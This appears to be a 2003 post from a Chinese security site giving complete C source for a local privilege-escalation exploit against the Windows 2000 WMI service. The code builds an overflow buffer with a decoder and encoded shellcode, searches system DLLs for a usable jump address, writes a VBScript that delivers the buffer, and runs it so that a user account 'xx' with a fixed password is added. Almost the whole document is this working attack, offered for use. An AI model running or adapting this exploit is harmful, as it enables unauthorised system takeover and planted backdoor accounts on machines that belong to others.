windows 2000 wmi service buffer overflow expolit创建时间:2003-05-28 文章属性:原创 文章提交:eyas (ey4s_at_21cn.com) windows 2000 wmi service buffer overflow expolit ey4s<cooleyas@21cn.com> 2003-04-27 WMIService -> CreateDirectoryExW -> RtlDosPathNameToNtPathName_U wmi默认只有administrators才可以远程连接,所以只有能在目标系统上运行程序的用户才能利用。 本地用户可用来提升权限。 此程序可用于简体中文、繁体中文、日文、韩文系统sp0-3上。 不需要指定任何参数,程序会自动搜索可用的call ebx地址。 用c代码来与wmi service通讯太复杂了,所以程序是生成两个文件,一个是存放exploit buffer的 buff.txt,一个是xWMI.vbs。 /*----------------------------------------------------------------------------------*/ #include <windows.h> #include <stdio.h> #define NOPCODE 0x4F//0x4F//'O' #define BUFFLEN (65536+8)/2 #define OVERPOINT 0x260//溢出点-0x14 SEH-0x4 int g_iCodePage; char g_szDllList[5][16]={"kernel32.dll", "advapi32.dll", "user32.dll", "gdi32.dll", "ole32.dll"}; char *g_szWideCharShort; unsigned char jmpover[]="\x41\x90\x41\x68";//0x41 inc ecx , 0x68 push num32 unsigned char decoder[]= "\x4F\x75\x05\x74\x03\x4E\xC3\x4F\x53\x90\x5E\x66\xAD\x4E\x46\x4F" "\x43\x66\x3D\x97\x6F\x90\x51\x90\x59\x75\xF0\x53\x56\x5F\x4A\x57" "\x43\x66\xAD\x50\x43\x66\x3D\x4F\x00\x90\x59\x74\xD9\x4E\x2C\x64" "\x50\x59\x46\x4F\x47\x90\x43\x66\xAD\x50\x4B\x58\x2C\x64\x4A\x57" "\x51\x90\x90\x5F\x03\xFF\x03\xFF\x03\xFF\x03\xFF\x91\x03\xCF\x91" "\x90\x5F\xAA\x90\x41\x74\xCA\x90\x51\x90\x59\x75\xC4\x4E\x97\x6F"; unsigned char xShellCode[]= "iilorprojhinoldhddsekkleglhqinmdddkhdghlrosiloqllokggpdgsglokjkldgsglokrfddgsolo" "hrehggrqijikielogsdgsolosfggpmlgpedrsgnjkhdlimislgpkdhhirfrkimisirlopqlohjfhdgpg" "qeredgpeggpmjjlodllohjepdgpgperedfdgpelodddgpgrodfrogklosnlosflmdjlgpkdsikigssqd" "lgpjdhlmdjlgpkdlikiglohjspssqdlgpjdhlmdjggpdidlgpkdjiklohjspssqdolssssssssidlodj" "ssqdrlirsssssshkjikhidkfjsjghejhjhkfjikgkgddikjmjrhikljijgddigjpjijikdddjgjqjhfd" "fsjgfdjrjikhfrjikljifdkikgjikffdklklfdgejefefrgmjrhlfdfsjejhjhfdfjfjfdjrjikhfdjp" "jsjgjejpjkkfjskikdfdjejhjqjmjrjmkgkhkfjekhjskfkgfdklklfdfsjejhjhdd"; int SearchRET(); BOOL MakeWideCharList(); DWORD WINAPI func(LPVOID lp); void main() { int retaddr,i,j,iPathLen, iwLen; unsigned char *pStr, widecharbuff[0x500], multibytebuff[0x500]; unsigned char szVBS[0x1000], szPath[256], szPath2[256]; FILE *f; printf( "xWMI -> win2k WMI service buffer overflow exploit\n" "WMIService -> CreateDirectoryExW -> RtlDosPathNameToNtPathName_U\n" "for win2k which default codepage is GB、BIG5、Korean、JP sp0-3\n" "Written by ey4s<cooleyas@21cn.com>\n" "2003-04-27\n" "thanks to yuange\n\n"); MakeWideCharList(); retaddr = SearchRET(); if(!retaddr) return; pStr = (unsigned char *)malloc(40000); memset(pStr, 0, 40000); //get current path iPathLen = GetCurrentDirectoryA(sizeof(szPath)-1, szPath); if(!iPathLen) { printf("GetCurrentDirectoryA failed:%d\n", GetLastError()); return; } /*转换字符*/ memset(widecharbuff, 0, sizeof(widecharbuff)); //jmp over memcpy(widecharbuff,jmpover,4); //jmp addr memcpy(widecharbuff+4,&retaddr,4); //decoder memcpy(widecharbuff+8,decoder,sizeof(decoder)); iwLen=wcslen((unsigned short *)widecharbuff); i=WideCharToMultiByte(g_iCodePage,0,(unsigned short *)widecharbuff, iwLen*2,multibytebuff,0x1000,0,0); i=strlen(multibytebuff); //组合buffer memset(pStr, NOPCODE, BUFFLEN+iwLen); memcpy(pStr, szPath, iPathLen); pStr[iPathLen]=(BYTE)'\\'; //jmpover & jmpaddr memcpy(pStr+OVERPOINT/2, multibytebuff, i); //real shellcode memcpy(pStr+OVERPOINT/2+i, xShellCode, strlen(xShellCode)); f = fopen("buff.txt", "w"); fprintf(f, "%s", pStr); fclose(f); free(pStr); printf("write exploit buffer to file %s\\buff.txt\n", szPath); //replace '\' to '\\' memset(szPath2, 0, sizeof(szPath2)); for(i=0,j=0;i<strlen(szPath);i++,j++) { if(szPath[i]==(BYTE)'\\') szPath2[j++]=szPath[i]; szPath2[j]=szPath[i]; } sprintf(szVBS, "Set fso = CreateObject(\"Scripting.FileSystemObject\")\n" "set f2=fso.OpenTextFile(\"buff.txt\",1,false,TristateTrue)\n" "szBuffer=f2.ReadAll\n" "f2.Close\n" "Set fso = Nothing\n" "Set ServiceSet = GetObject(\"winmgmts:{impersonationLevel=impersonate}\")._\n" "ExecQuery(\"select * from Win32_Directory where Name='%s'\")\n" "for each Service in ServiceSet\n" " WScript.Echo \"if you can see thie line,it maybe success!\"\n" " Service.Copy(szBuffer)\n" "next\n" ,szPath2); f = fopen("xWMI.vbs", "w"); fprintf(f, "%s", szVBS); fclose(f); printf("create exploit execute file %s\\xWMI.vbs\n", szPath); printf( "Execute exploit file %s\\xWMI.vbs\n" "if success, exploit will add a user xx password is 1a!.9nH\n", szPath); CreateThread(0, 0, func, NULL, 0, NULL); Sleep(20000); DeleteFile("buff.txt"); DeleteFile("xWMI.vbs"); printf("Done.\n"); return; } DWORD WINAPI func(LPVOID lp) { system("cscript.exe xWMI.vbs"); return 0; } BOOL MakeWideCharList() { int iCodePage,i,j,ret; char szCodePage[128]; unsigned char wbuff[4]; unsigned char wbuff2[4]; unsigned char buff[4]; if(!GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_IDEFAULTCODEPAGE, szCodePage, sizeof(szCodePage)-1)) { printf("GetLocaleInfo failed:%d\n", GetLastError()); return FALSE; } iCodePage = atoi(szCodePage); printf("System default codepage is %d\n", iCodePage); g_iCodePage = iCodePage; g_szWideCharShort = (char *)malloc(65536); memset(g_szWideCharShort, 1 , 65536); for(i=0;i<256;i++) { for(j=0;j<256;j++)//for 3 { if((i==0) && (j==0)) j=1; memset(buff, 0, 4); memset(wbuff2, 0, 4); wbuff[0]=(BYTE)i; wbuff[1]=(BYTE)j; wbuff[2]=(BYTE)'\0'; wbuff[3]=(BYTE)'\0'; if(!(ret = WideCharToMultiByte(iCodePage, 0, (unsigned short *)wbuff, 1, buff, 2, 0,0))) { printf("WideCharToMultiByte error:%d\n", GetLastError()); return FALSE; } if(!(ret = MultiByteToWideChar(iCodePage, 0, buff, strlen(buff), (unsigned short *)wbuff2, 1))) { printf("MultiByteToWideChar error:%d %d\n", GetLastError(), ret); return FALSE; } //判断经过两次转换后是否改变 //只要在任何一种code page改变都视为非法wide char范围 if(*(DWORD *)wbuff != *(DWORD *)wbuff2) g_szWideCharShort[(BYTE)wbuff[0]*0x100 + (BYTE)wbuff[1]] = (BYTE)'\0'; } } return TRUE; } int SearchRET() { HMODULE h; BOOL bDone; BYTE *ptr; int i,j,pos,index1,index2,k1,k2,k3,k4; for(i=0;i<5;i++) { bDone = FALSE; pos = 0; h = LoadLibrary(g_szDllList[i]); if(h == NULL) { printf("LoadLibrary %s error:%d\n", g_szDllList[i], GetLastError()); continue; } ptr = (BYTE*)h; printf("start search FFD3 in %s\n", g_szDllList[i]); for(j=0;!bDone;j++) { __try { //FF D3 --> call ebx //不用包含00的地址 if(ptr[j] == (BYTE)'\xFF' && ptr[j+1] == (BYTE)'\xD3') { pos = (int)ptr + j; k1=((pos&0x00FF0000)>>8); k2=((pos&0xFF000000)>>24); k3=((pos&0xFF)<<8); k4=((pos>>8)&0xFF); index1 = k1 + k2; index2 = k3 + k4; if( (g_szWideCharShort[index1] == (BYTE)'\x00') || (g_szWideCharShort[index2] == (BYTE)'\x00') || (k1 == 0) || (k2 == 0) || (k3 == 0) || (k4 == 0) ) pos = 0; } }//end of try __except(EXCEPTION_EXECUTE_HANDLER) { bDone = TRUE; } if(pos) break; } if(h) { FreeLibrary(h); h = NULL; } if(pos) { printf("Found opcode at 0x%.8X in %s\n", pos, g_szDllList[i]); break; } } return pos; } |